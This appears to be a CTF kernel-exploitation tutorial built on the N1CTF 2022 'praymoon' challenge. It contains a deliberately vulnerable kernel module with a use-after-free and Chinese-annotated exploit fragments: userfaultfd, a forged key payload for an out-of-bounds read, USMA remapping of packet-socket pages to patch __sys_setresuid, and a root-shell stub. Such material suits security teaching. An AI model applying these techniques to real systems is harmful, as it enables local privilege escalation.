/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on N1CTF 2022 praymoon
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define ADD_CHUNK 0x5555
#define DELETE_CHUNK 0x6666

static size_t add_flag = 1;
static size_t del_flag = 2;
static void *moon = NULL;

static unsigned int major;
static struct class *praymoon_class;
static struct cdev praymoon_cdev;

static int praymoon_open(struct inode *inode, struct file *filp)
{
	pr_info("[praymoon:] Device open.\n");
	return 0;
}

static int praymoon_release(struct inode *inode, struct file *filp)
{
	pr_info("[praymoon:] Device release.\n");
	return 0;
}

static long praymoon_ioctl(struct file *file, unsigned int cmd,
			   unsigned long arg)
{
	long ret = 0;
	if (cmd == ADD_CHUNK) {
		if (add_flag > 0) {
			add_flag--;
			moon = kmalloc(0x200, GFP_KERNEL | __GFP_ZERO);
			pr_info("[praymoon:] Add Success!\n");
		}
	} else if (cmd == DELETE_CHUNK) {
		if (!moon) {
			pr_info
			    ("[praymoon:] Your moon doesn't seem to exist.\n");
			ret = -EFAULT;
			goto out;
		}
		if (del_flag > 0) {
			del_flag--;
			kfree(moon);
			pr_info("[praymoon:] del Success!\n");
		}
	} else {
		pr_info("[praymoon:] Unknown ioctl cmd!\n");
		ret = -EINVAL;
	}
out:
	return ret;
}

struct file_operations praymoon_fops = {
	.owner = THIS_MODULE,
	.open = praymoon_open,
	.release = praymoon_release,
	.unlocked_ioctl = praymoon_ioctl,
};

static int __init init_praymoon(void)
{
	struct device *praymoon_device;
	int error;
	dev_t devt = 0;

	error = alloc_chrdev_region(&devt, 0, 1, "praymoon");
	if (error < 0) {
		pr_err("[praymoon:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[praymoon:] praymoon major number = %d.\n", major);

	praymoon_class = class_create(THIS_MODULE, "praymoon_class");
	if (IS_ERR(praymoon_class)) {
		pr_err("[praymoon:] Error creating praymoon class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(praymoon_class);
	}

	cdev_init(&praymoon_cdev, &praymoon_fops);
	praymoon_cdev.owner = THIS_MODULE;
	cdev_add(&praymoon_cdev, devt, 1);
	praymoon_device =
	    device_create(praymoon_class, NULL, devt, NULL, "praymoon");
	if (IS_ERR(praymoon_device)) {
		pr_err("[praymoon:] Error creating praymoon device!\n");
		class_destroy(praymoon_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	pr_info("[praymoon:] praymoon module loaded.\n");
	return 0;
}

static void __exit exit_praymoon(void)
{
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(praymoon_class, MKDEV(major, 0));
	cdev_del(&praymoon_cdev);
	class_destroy(praymoon_class);
	pr_info("[praymoon:] praymoon module unloaded.\n");
}

module_init(init_praymoon);
module_exit(exit_praymoon);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

static size_t add_flag = 1;  // 添加操作标志，初始为1
static size_t del_flag = 2;  // 删除操作标志，初始为2
static void *moon = NULL;    // 全局内存指针，初始为NULL

if (cmd == ADD_CHUNK) {
    if (add_flag > 0) {          // 检查是否还有分配权限
        add_flag--;               // 递减分配计数器
        moon = kmalloc(0x200, GFP_KERNEL | __GFP_ZERO);  // 分配512字节内存
        pr_info("[praymoon:] Add Success!\n");
    }
}

if (cmd == DELETE_CHUNK) {
    if (!moon) {                    // 检查是否有内存可释放
        pr_info("[praymoon:] Your moon doesn't seem to exist.\n");
        ret = -EFAULT;
        goto out;
    }
    if (del_flag > 0) {             // 检查是否还有释放权限
        del_flag--;                 // 递减释放计数器
        kfree(moon);                // 释放内存
        // 漏洞点：此处缺少 moon = NULL;
        pr_info("[praymoon:] del Success!\n");
    }
}

if (del_flag > 0) {             // 条件检查：还有删除次数
    del_flag--;                 // 先递减计数器
    kfree(moon);                // 释放内存
    // 漏洞：此处缺少 moon = NULL;
    pr_info("[praymoon:] del Success!\n");
}

struct pgv {
    char *buffer;  // 指向字符缓冲区的指针
};

// 测试权限提升
printf("Attempting privilege escalation...\n");

// 尝试设置root权限
if (setresuid(0, 0, 0) == 0) {
    printf("setresuid succeeded!\n");

    // 验证当前权限
    uid_t current_euid = geteuid();
    uid_t current_uid = getuid();

    printf("Current EUID: %d\n", current_euid);
    printf("Current UID: %d\n", current_uid);

    if (current_euid == 0 && current_uid == 0) {
        printf("Privilege escalation successful!\n");

        // 获取root shell
        printf("Spawning root shell...\n");
        system("/bin/sh");

        return 0;
    } else {
        printf("Privilege escalation failed: not root\n");
        return -1;
    }
} else {
    printf("setresuid failed: %s\n", strerror(errno));
    return -1;
}

// 构造恶意数据结构
struct malicious_data {
    struct rcu_head rcu;        // 保持原样
    unsigned short datalen;      // 修改为0x2000，实现越界读取
    char padding[14];           // 填充，使总大小为0x20字节
};

// 注册userfaultfd监控page1
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)page1_addr;
uffdio_register.range.len = PAGE_SIZE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

/*
 * 通用辅助函数。由于返回的地址无法表示高端内存页面，因此切勿与__GFP_HIGHMEM一起使用。
 * 如果需要访问高端内存，请使用alloc_pages然后进行kmap映射。
 */
unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order)
{
    struct page *page;                                  // 页面结构指针

    // 分配物理页面，清除__GFP_HIGHMEM标志以确保返回低端内存地址
    page = alloc_pages(gfp_mask & ~__GFP_HIGHMEM, order);
    if (!page)                                          // 检查页面分配是否成功
        return 0;                                       // 分配失败，返回0
    return (unsigned long) page_address(page);          // 返回页面的虚拟地址
}
EXPORT_SYMBOL(__get_free_pages);                        // 导出符号供其他模块使用

static char *alloc_one_pg_vec_page(unsigned long order)
{
    char *buffer;                                       // 缓冲区指针
    gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |         // 分配标志：内核内存、复合页
                      __GFP_ZERO | __GFP_NOWARN |       // 清零、不警告
                      __GFP_NORETRY;                    // 不重试

    // 首先尝试通过__get_free_pages分配连续物理页面
    buffer = (char *) __get_free_pages(gfp_flags, order);
    if (buffer)                                         // 检查分配是否成功
        return buffer;                                  // 成功，返回缓冲区地址

    // __get_free_pages失败，回退到vmalloc
    buffer = vzalloc(array_size((1 << order), PAGE_SIZE)); // 分配虚拟连续内存
    if (buffer)                                         // 检查分配是否成功
        return buffer;                                  // 成功，返回缓冲区地址

    // vmalloc失败，尝试允许回收内存
    gfp_flags &= ~__GFP_NORETRY;                        // 允许重试
    buffer = (char *) __get_free_pages(gfp_flags, order); // 再次尝试分配
    if (buffer)                                         // 检查分配是否成功
        return buffer;                                  // 成功，返回缓冲区地址

    return NULL;                                        // 完全失败，返回NULL
}

static int packet_setsockopt(struct socket *sock, int level, int optname,
                             sockptr_t optval, unsigned int optlen)
{
    struct sock *sk = sock->sk;                          // 获取socket对应的sock结构
    struct packet_sock *po = pkt_sk(sk);                 // 转换为packet_sock结构
    int ret;                                             // 返回值变量

    if (level != SOL_PACKET)                             // 检查选项层级是否为packet层级
        return -ENOPROTOOPT;                             // 非packet层级，返回协议不支持错误

    switch (optname) {                                   // 根据选项名称进行分发处理
    case PACKET_RX_RING:                                 // 设置接收环形缓冲区
    case PACKET_TX_RING:                                 // 设置发送环形缓冲区
    {
        union tpacket_req_u req_u;                       // 请求参数联合体，支持不同版本
        int len;                                         // 参数长度变量

        lock_sock(sk);                                   // 锁定socket，防止并发访问
        switch (po->tp_version) {                        // 根据TPACKET版本确定参数长度
        case TPACKET_V1:                                 // TPACKET版本1
        case TPACKET_V2:                                 // TPACKET版本2
            len = sizeof(req_u.req);                     // 使用传统req结构
            break;
        case TPACKET_V3:                                 // TPACKET版本3
        default:                                         // 默认版本
            len = sizeof(req_u.req3);                    // 使用扩展的req3结构
            break;
        }
        if (optlen < len) {                              // 检查用户提供的参数长度是否足够
            ret = -EINVAL;                               // 参数长度不足，返回无效参数错误
        } else {
            if (copy_from_sockptr(&req_u.req, optval, len))  // 从用户空间拷贝参数
                ret = -EFAULT;                           // 拷贝失败，返回默认错误
            else
                // 调用packet_set_ring函数设置环形缓冲区
                ret = packet_set_ring(sk, &req_u, 0, optname == PACKET_TX_RING);
        }
        release_sock(sk);                                // 释放socket锁
        return ret;                                      // 返回操作结果
    }
    // 其他选项处理代码省略...
    default:                                             // 未知选项处理
        return -ENOPROTOOPT;                            // 返回协议不支持错误
    }
}

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
                           int closing, int tx_ring)
{
    struct pgv *pg_vec = NULL;                          // pg_vec数组指针，初始化为NULL
    struct packet_sock *po = pkt_sk(sk);                // 获取packet_sock结构
    unsigned long *rx_owner_map = NULL;                 // 接收者映射位图指针
    int was_running, order = 0;                         // 运行状态和分配阶数
    struct packet_ring_buffer *rb;                      // 环形缓冲区指针
    struct sk_buff_head *rb_queue;                      // 缓冲区队列指针
    __be16 num;                                         // 原始设备号
    int err;                                            // 错误码变量
    struct tpacket_req *req = &req_u->req;              // 获取请求参数（简化处理）

    // 选择接收或发送环形缓冲区
    rb = tx_ring ? &po->tx_ring : &po->rx_ring;         // 根据方向选择环形缓冲区
    rb_queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue;  // 选择对应队列

    err = -EBUSY;                                       // 设置默认错误码为设备忙
    if (!closing) {                                     // 如果不是关闭操作
        if (atomic_read(&po->mapped))                   // 检查是否已有内存映射
            goto out;                                   // 已有映射，跳转到结束
        if (packet_read_pending(rb))                    // 检查是否有未处理数据
            goto out;                                   // 有待处理数据，跳转到结束
    }

    if (req->tp_block_nr) {                             // 如果请求的块数量大于0
        unsigned int min_frame_size;                    // 最小帧大小变量

        // 参数验证：确保缓冲区尚未分配
        err = -EBUSY;
        if (unlikely(rb->pg_vec))                       // 检查pg_vec是否已分配
            goto out;                                   // 已分配，返回设备忙错误

        // 根据TPACKET版本设置头部长度
        switch (po->tp_version) {
        case TPACKET_V1:                                // TPACKET版本1
            po->tp_hdrlen = TPACKET_HDRLEN;             // 设置头部长度为V1版本
            break;
        case TPACKET_V2:                                // TPACKET版本2
            po->tp_hdrlen = TPACKET2_HDRLEN;            // 设置头部长度为V2版本
            break;
        case TPACKET_V3:                                // TPACKET版本3
            po->tp_hdrlen = TPACKET3_HDRLEN;            // 设置头部长度为V3版本
            break;
        }

        // 参数验证：基本参数检查
        err = -EINVAL;                                  // 设置错误码为无效参数
        if (unlikely((int)req->tp_block_size <= 0))     // 检查块大小是否有效
            goto out;                                   // 无效块大小，返回错误
        if (unlikely(!PAGE_ALIGNED(req->tp_block_size))) // 检查块大小是否页面对齐
            goto out;                                   // 未对齐，返回错误

        // 计算最小帧大小并验证帧大小参数
        min_frame_size = po->tp_hdrlen + po->tp_reserve; // 计算最小帧大小
        if (unlikely(req->tp_frame_size < min_frame_size)) // 检查帧大小是否足够
            goto out;                                   // 帧大小太小，返回错误
        if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1))) // 检查帧大小对齐
            goto out;                                   // 未对齐，返回错误

        // 计算帧相关参数
        rb->frames_per_block = req->tp_block_size / req->tp_frame_size; // 计算每块帧数
        if (unlikely(rb->frames_per_block == 0))        // 检查每块帧数是否有效
            goto out;                                   // 无效帧数，返回错误
        if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr)) // 检查溢出
            goto out;                                   // 可能溢出，返回错误
        if (unlikely((rb->frames_per_block * req->tp_block_nr) != req->tp_frame_nr))
            goto out;                                   // 帧数不匹配，返回错误

        // 分配内存
        err = -ENOMEM;                                  // 设置错误码为内存不足
        order = get_order(req->tp_block_size);          // 计算页面分配阶数
        pg_vec = alloc_pg_vec(req, order);              // 分配pg_vec数组和页面
        if (unlikely(!pg_vec))                          // 检查分配是否成功
            goto out;                                   // 分配失败，跳转到结束

        // 版本特定处理
        switch (po->tp_version) {
        case TPACKET_V3:                                // TPACKET版本3处理
            if (!tx_ring) {                             // 接收环形缓冲区
                init_prb_bdqc(po, rb, pg_vec, req_u);   // 初始化PRB块描述符队列控制
            } else {                                    // 发送环形缓冲区
                struct tpacket_req3 *req3 = &req_u->req3; // 获取V3请求参数
                // V3发送环形缓冲区不支持某些特性
                if (req3->tp_retire_blk_tov || req3->tp_sizeof_priv || req3->tp_feature_req_word) {
                    err = -EINVAL;                      // 不支持的特性，返回无效参数
                    goto out_free_pg_vec;               // 跳转到清理
                }
            }
            break;
        default:                                        // V1/V2版本处理
            if (!tx_ring) {                             // 接收环形缓冲区
                // 分配接收者映射位图
                rx_owner_map = bitmap_alloc(req->tp_frame_nr, GFP_KERNEL | __GFP_NOWARN | __GFP_ZERO);
                if (!rx_owner_map)                      // 检查分配是否成功
                    goto out_free_pg_vec;               // 分配失败，跳转到清理
            }
            break;
        }
    } else {                                            // 请求块数为0的情况
        err = -EINVAL;                                  // 设置错误码为无效参数
        if (unlikely(req->tp_frame_nr))                 // 检查是否有帧请求
            goto out;                                   // 有帧请求但无块，返回错误
    }

    // 分离socket与网络
    spin_lock(&po->bind_lock);                          // 获取绑定锁
    was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING); // 检查是否正在运行
    num = po->num;                                      // 保存当前设备号
    if (was_running) {                                  // 如果正在运行
        WRITE_ONCE(po->num, 0);                         // 清空设备号
        __unregister_prot_hook(sk, false);              // 注销协议钩子
    }
    spin_unlock(&po->bind_lock);                        // 释放绑定锁

    synchronize_net();                                  // 同步网络操作，确保无并发

    // 交换缓冲区
    err = -EBUSY;                                       // 设置错误码为设备忙
    mutex_lock(&po->pg_vec_lock);                       // 获取pg_vec锁
    if (closing || atomic_read(&po->mapped) == 0) {     // 检查是否可以交换
        err = 0;                                        // 可以交换，设置成功
        spin_lock_bh(&rb_queue->lock);                  // 获取队列锁
        swap(rb->pg_vec, pg_vec);                       // 交换pg_vec数组
        if (po->tp_version <= TPACKET_V2)               // V1/V2版本
            swap(rb->rx_owner_map, rx_owner_map);       // 交换接收者映射
        rb->frame_max = (req->tp_frame_nr - 1);         // 设置最大帧索引
        rb->head = 0;                                   // 重置头部指针
        rb->frame_size = req->tp_frame_size;            // 设置帧大小
        spin_unlock_bh(&rb_queue->lock);                // 释放队列锁

        // 更新缓冲区参数
        swap(rb->pg_vec_order, order);                  // 交换分配阶数
        swap(rb->pg_vec_len, req->tp_block_nr);         // 交换数组长度
        rb->pg_vec_pages = req->tp_block_size / PAGE_SIZE; // 计算每块页面数

        // 更新接收函数
        po->prot_hook.func = (po->rx_ring.pg_vec) ? tpacket_rcv : packet_rcv;

        skb_queue_purge(rb_queue);                      // 清空队列

        if (atomic_read(&po->mapped))                   // 检查是否已有映射
            pr_err("packet_mmap: vma is busy: %d\n", atomic_read(&po->mapped));
    }
    mutex_unlock(&po->pg_vec_lock);                     // 释放pg_vec锁

    // 重新注册协议钩子
    spin_lock(&po->bind_lock);                          // 获取绑定锁
    if (was_running) {                                  // 如果之前正在运行
        WRITE_ONCE(po->num, num);                       // 恢复设备号
        register_prot_hook(sk);                         // 注册协议钩子
    }
    spin_unlock(&po->bind_lock);                        // 释放绑定锁

    // V3版本特定清理
    if (pg_vec && (po->tp_version > TPACKET_V2)) {      // V3版本
        if (!tx_ring)                                   // 接收环形缓冲区
            prb_shutdown_retire_blk_timer(po, rb_queue); // 关闭定时器
    }

out_free_pg_vec:                                        // 清理标签
    if (pg_vec) {                                       // 如果有分配的pg_vec
        bitmap_free(rx_owner_map);                      // 释放接收者映射
        free_pg_vec(pg_vec, order, req->tp_block_nr);   // 释放pg_vec数组
    }
out:                                                    // 退出标签
    return err;                                         // 返回错误码
}

// pgv结构体，表示单个内存块
struct pgv {
    char *buffer;                                      // 指向数据缓冲区的指针，USMA技术的关键控制点
};

// packet环形缓冲区结构体
struct packet_ring_buffer {
    struct pgv *pg_vec;                                // pgv数组指针，包含所有内存块的描述符
    unsigned int head;                                 // 环形缓冲区头部索引，指示下一个可读/写位置
    unsigned int frames_per_block;                     // 每个内存块包含的帧数
    unsigned int frame_size;                           // 单个帧的大小（字节）
    unsigned int frame_max;                            // 最大帧索引，等于总帧数减1
    unsigned int pg_vec_order;                         // 页面分配阶数，决定每个buffer的大小（2^order页）
    unsigned int pg_vec_pages;                         // 每个buffer包含的页面数
    unsigned int pg_vec_len;                           // pg_vec数组的长度，等于内存块数量
    unsigned int __percpu *pending_refcnt;             // 每个CPU的挂起引用计数，用于同步
    union {                                            // 版本特定数据联合体
        unsigned long *rx_owner_map;                   // V1/V2版本：接收者映射位图
        struct tpacket_kbdq_core prb_bdqc;            // V3版本：块描述符队列核心结构
    };
};

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req->tp_block_nr;           // 获取请求的内存块数量
    struct pgv *pg_vec;                                 // pg_vec数组指针
    int i;                                              // 循环索引

    // 分配pg_vec数组内存
    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    if (unlikely(!pg_vec))                              // 检查分配是否成功
        goto out;                                       // 分配失败，跳转到返回

    // 为每个pg_vec元素分配物理页面
    for (i = 0; i < block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order); // 分配单个内存块
        if (unlikely(!pg_vec[i].buffer))               // 检查页面分配是否成功
            goto out_free_pgvec;                       // 分配失败，跳转到清理
    }

out:                                                    // 返回标签
    return pg_vec;                                      // 返回分配的pg_vec数组

out_free_pgvec:                                         // 清理标签
    free_pg_vec(pg_vec, order, block_nr);               // 释放已分配的pg_vec
    pg_vec = NULL;                                      // 将指针设为NULL
    goto out;                                           // 跳转到返回
}

static void free_pg_vec(struct pgv *pg_vec, unsigned int order, unsigned int len)
{
    int i;                                              // 循环索引

    for (i = 0; i < len; i++) {                         // 遍历每个内存块
        if (likely(pg_vec[i].buffer)) {                 // 检查buffer是否有效
            if (is_vmalloc_addr(pg_vec[i].buffer))      // 检查是否为vmalloc分配
                vfree(pg_vec[i].buffer);                // 释放vmalloc内存
            else
                free_pages((unsigned long)pg_vec[i].buffer, order); // 释放物理页面
            pg_vec[i].buffer = NULL;                    // 清空指针
        }
    }
    kfree(pg_vec);                                      // 释放pg_vec数组
}

static int packet_mmap(struct file *file, struct socket *sock,
                       struct vm_area_struct *vma)
{
    struct sock *sk = sock->sk;                         // 获取socket对应的sock结构
    struct packet_sock *po = pkt_sk(sk);                // 转换为packet_sock结构
    unsigned long size, expected_size;                  // 映射大小变量
    struct packet_ring_buffer *rb;                      // 环形缓冲区指针
    unsigned long start;                                // 映射起始地址
    int err = -EINVAL;                                  // 错误码，初始为无效参数
    int i;                                              // 循环索引

    if (vma->vm_pgoff)                                  // 检查映射偏移，必须为0
        return -EINVAL;                                 // 偏移非0，返回无效参数

    mutex_lock(&po->pg_vec_lock);                       // 获取pg_vec锁，防止并发修改

    expected_size = 0;                                  // 初始化预期大小
    // 计算接收和发送环形缓冲区的总大小
    for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) { // 遍历接收和发送环形缓冲区
        if (rb->pg_vec) {                               // 如果缓冲区已分配
            expected_size += rb->pg_vec_len             // 数组长度
                          * rb->pg_vec_pages            // 每块页面数
                          * PAGE_SIZE;                  // 页面大小
        }
    }

    if (expected_size == 0)                             // 检查是否已分配缓冲区
        goto out;                                       // 未分配，跳转到结束

    size = vma->vm_end - vma->vm_start;                 // 计算请求的映射大小
    if (size != expected_size)                          // 验证大小是否匹配
        goto out;                                       // 大小不匹配，跳转到结束

    start = vma->vm_start;                              // 获取用户空间映射起始地址
    // 遍历接收和发送环形缓冲区
    for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) { // 遍历接收和发送环形缓冲区
        if (rb->pg_vec == NULL)                         // 检查缓冲区是否已分配
            continue;                                   // 未分配，跳过当前缓冲区

        // 遍历pg_vec数组中的每个元素
        for (i = 0; i < rb->pg_vec_len; i++) {          // 遍历每个内存块
            struct page *page;                          // 页面结构指针
            void *kaddr = rb->pg_vec[i].buffer;         // 获取buffer指针
            int pg_num;                                 // 页面索引

            // 将buffer指向的每个页面映射到用户空间
            for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) { // 遍历每个页面
                page = pgv_to_page(kaddr);              // 虚拟地址转物理页面
                err = vm_insert_page(vma, start, page); // 插入页面到用户空间
                if (unlikely(err))                      // 检查插入是否成功
                    goto out;                           // 失败，跳转到结束
                start += PAGE_SIZE;                     // 更新映射地址
                kaddr += PAGE_SIZE;                     // 更新内核地址
            }
        }
    }

    atomic_inc(&po->mapped);                            // 增加映射计数
    vma->vm_ops = &packet_mmap_ops;                     // 设置VMA操作结构
    err = 0;                                            // 设置成功返回码

out:                                                    // 退出标签
    mutex_unlock(&po->pg_vec_lock);                     // 释放pg_vec锁
    return err;                                         // 返回操作结果
}

int vm_insert_page(struct vm_area_struct *vma, unsigned long addr, struct page *page)
{
    if (addr < vma->vm_start || addr >= vma->vm_end)    // 检查地址是否在VMA范围内
        return -EFAULT;                                 // 地址无效，返回错误
    if (!page_count(page))                              // 检查页面引用计数
        return -EINVAL;                                 // 页面无效，返回错误
    if (!(vma->vm_flags & VM_MIXEDMAP)) {               // 检查VMA是否允许混合映射
        BUG_ON(mmap_read_trylock(vma->vm_mm));          // 确保已持有mmap锁
        BUG_ON(vma->vm_flags & VM_PFNMAP);              // 确保不是PFN映射
        vm_flags_set(vma, VM_MIXEDMAP);                 // 设置混合映射标志
    }
    return insert_page(vma, addr, page, vma->vm_page_prot); // 调用底层插入函数
}
EXPORT_SYMBOL(vm_insert_page);

static int insert_page(struct vm_area_struct *vma, unsigned long addr,
                       struct page *page, pgprot_t prot)
{
    int retval;                                         // 返回值
    pte_t *pte;                                         // 页表项指针
    spinlock_t *ptl;                                    // 页表锁指针

    retval = validate_page_before_insert(page);         // 验证页面有效性
    if (retval)                                         // 检查验证结果
        goto out;                                       // 验证失败，跳转到结束
    retval = -ENOMEM;                                   // 设置错误码为内存不足
    pte = get_locked_pte(vma->vm_mm, addr, &ptl);       // 获取页表项和锁
    if (!pte)                                           // 检查页表项是否有效
        goto out;                                       // 无效，跳转到结束
    retval = insert_page_into_pte_locked(vma, pte, addr, page, prot); // 插入页面
    pte_unmap_unlock(pte, ptl);                         // 释放页表项和锁
out:                                                    // 退出标签
    return retval;                                      // 返回结果
}

static int validate_page_before_insert(struct page *page)
{
    if (PageAnon(page) || PageSlab(page) || page_has_type(page)) // 检查页面类型
        return -EINVAL;                                 // 匿名页、Slab页或特殊类型页不允许
    flush_dcache_page(page);                            // 刷新数据缓存确保一致性
    return 0;                                           // 验证通过
}

static int insert_page_into_pte_locked(struct vm_area_struct *vma, pte_t *pte,
                                       unsigned long addr, struct page *page, pgprot_t prot)
{
    if (!pte_none(ptep_get(pte)))                       // 检查页表项是否已占用
        return -EBUSY;                                  // 已占用，返回设备忙错误
    // 成功，插入页面
    get_page(page);                                     // 增加页面引用计数
    inc_mm_counter(vma->vm_mm, mm_counter_file(page));  // 增加内存计数器
    page_add_file_rmap(page, vma, false);               // 添加反向映射
    set_pte_at(vma->vm_mm, addr, pte, mk_pte(page, prot)); // 设置页表项
    return 0;                                           // 返回成功
}

// 创建packet socket描述符
int packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 创建原始包socket
if (packet_fd < 0) {                                   // 检查socket创建是否成功
    perror("创建packet socket失败");                    // 输出错误信息
    return -1;                                         // 返回错误代码
}

// 配置环形缓冲区参数
struct tpacket_req req = {                             // 环形缓冲区请求结构
    .tp_block_size = 4096,                             // 设置块大小为4KB（一页）
    .tp_block_nr = 1,                                  // 设置块数量为1
    .tp_frame_size = 4096,                             // 设置帧大小为4KB
    .tp_frame_nr = 1                                   // 设置帧数量为1
};

// 设置接收环形缓冲区
int ret = setsockopt(packet_fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (ret < 0) {                                         // 检查设置是否成功
    perror("设置环形缓冲区失败");                         // 输出错误信息
    close(packet_fd);                                  // 关闭socket
    return -1;                                         // 返回错误代码
}

// 假设可以控制pg_vec数组的内存内容
struct pgv *pg_vec = /* 通过操作获取的pg_vec指针 */;

// 计算目标内核函数页面地址
unsigned long target_func_addr = (unsigned long)&__sys_setresuid; // 获取目标函数地址
unsigned long target_page_addr = target_func_addr & ~(PAGE_SIZE - 1); // 计算页面对齐地址

// 关键步骤：重定向buffer指针指向目标内核页面
pg_vec[0].buffer = (char *)target_page_addr;           // 修改buffer指针

long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
    struct user_namespace *ns = current_user_ns();      // 获取当前用户命名空间
    const struct cred *old;                             // 旧凭证指针
    struct cred *new;                                   // 新凭证指针
    int retval;                                         // 返回值
    kuid_t kruid, keuid, ksuid;                         // 内核UID表示
    bool ruid_new, euid_new, suid_new;                  // UID变化标志

    // 关键点1: 用户空间UID转换为内核UID
    kruid = make_kuid(ns, ruid);                        // 转换真实UID
    keuid = make_kuid(ns, euid);                        // 转换有效UID
    ksuid = make_kuid(ns, suid);                        // 转换保存的UID

    // 参数有效性验证
    if ((ruid != (uid_t) -1) && !uid_valid(kruid))      // 验证真实UID
        return -EINVAL;                                 // 无效，返回错误
    if ((euid != (uid_t) -1) && !uid_valid(keuid))      // 验证有效UID
        return -EINVAL;                                 // 无效，返回错误
    if ((suid != (uid_t) -1) && !uid_valid(ksuid))      // 验证保存的UID
        return -EINVAL;                                 // 无效，返回错误

    old = current_cred();                               // 获取当前进程凭证

    // 检查是否无需更改UID（无操作检查）
    if ((ruid == (uid_t) -1 || uid_eq(kruid, old->uid)) &&
        (euid == (uid_t) -1 || (uid_eq(keuid, old->euid) &&
                                uid_eq(keuid, old->fsuid))) &&
        (suid == (uid_t) -1 || uid_eq(ksuid, old->suid)))
        return 0;                                       // 无需更改，直接返回

    // 检查UID是否发生了变化
    ruid_new = ruid != (uid_t) -1        && !uid_eq(kruid, old->uid) &&
               !uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid);
    euid_new = euid != (uid_t) -1        && !uid_eq(keuid, old->uid) &&
               !uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid);
    suid_new = suid != (uid_t) -1        && !uid_eq(ksuid, old->uid) &&
               !uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid);

    // 关键点2: 权限检查逻辑
    if ((ruid_new || euid_new || suid_new) &&           // 如果有UID变化
        !ns_capable_setid(old->user_ns, CAP_SETUID))    // 且没有CAP_SETUID能力
        return -EPERM;                                  // 返回权限错误

    // 准备新的凭证结构
    new = prepare_creds();                              // 准备新凭证
    if (!new)                                           // 检查分配是否成功
        return -ENOMEM;                                 // 内存不足，返回错误

    // 设置新的UID
    if (ruid != (uid_t) -1) {                           // 设置真实UID
        new->uid = kruid;                               // 设置新真实UID
        if (!uid_eq(kruid, old->uid)) {                 // 检查真实UID是否变化
            retval = set_user(new);                     // 更新用户信息
            if (retval < 0)                             // 检查是否成功
                goto error;                             // 失败，跳转到错误处理
        }
    }
    if (euid != (uid_t) -1)                             // 设置有效UID
        new->euid = keuid;                              // 设置新有效UID
    if (suid != (uid_t) -1)                             // 设置保存的UID
        new->suid = ksuid;                              // 设置新保存的UID
    new->fsuid = new->euid;                             // 设置文件系统UID

    // 安全模块回调
    retval = security_task_fix_setuid(new, old, LSM_SETID_RES); // 调用安全模块
    if (retval < 0)                                     // 检查安全模块结果
        goto error;                                     // 失败，跳转到错误处理

    // 设置用户计数
    retval = set_cred_ucounts(new);                     // 更新用户计数
    if (retval < 0)                                     // 检查是否成功
        goto error;                                     // 失败，跳转到错误处理

    // 检查进程数限制
    flag_nproc_exceeded(new);                           // 检查进程数是否超限
    return commit_creds(new);                           // 提交新凭证，返回成功

error:                                                  // 错误处理标签
    abort_creds(new);                                   // 中止凭证更改
    return retval;                                      // 返回错误代码
}

// 计算映射区域大小
size_t map_size = req.tp_block_size * req.tp_block_nr;  // 映射总大小，通常为4096字节

// 建立用户空间内存映射
void *mapped_addr = mmap(NULL,                          // 映射起始地址，NULL表示由系统选择
                         map_size,                      // 映射区域大小
                         PROT_READ | PROT_WRITE,        // 映射区域权限：可读可写
                         MAP_SHARED | MAP_LOCKED,       // 映射标志：共享映射，锁定在内存
                         packet_fd,                     // packet socket文件描述符
                         0);                            // 文件偏移量，必须为0

if (mapped_addr == MAP_FAILED) {                        // 检查映射是否成功
    perror("mmap操作失败");                              // 输出错误信息
    close(packet_fd);                                   // 关闭socket
    return -1;                                          // 返回错误代码
}

printf("成功映射内核内存到用户空间: %p\n", mapped_addr);  // 输出映射地址

// 计算目标函数在页面内的偏移
unsigned long target_func_addr = (unsigned long)&__sys_setresuid; // 目标函数地址
unsigned long target_page_addr = target_func_addr & ~(PAGE_SIZE - 1); // 页面对齐地址
unsigned long func_offset = target_func_addr - target_page_addr; // 计算页面内偏移

// 定位到目标内存位置
uint8_t *target_memory = (uint8_t *)mapped_addr + func_offset; // 目标内存地址

// 读取并分析原始指令
size_t read_size = 64;                                  // 读取64字节进行分析
uint8_t original_code[64];                              // 保存原始指令
for (size_t i = 0; i < read_size; i++) {                // 遍历读取
    original_code[i] = target_memory[i];                // 读取当前字节
    printf("%02x ", original_code[i]);                  // 输出十六进制
    if ((i + 1) % 16 == 0) printf("\n");                // 每16字节换行
}

// 分析关键指令位置（通过反汇编确定）
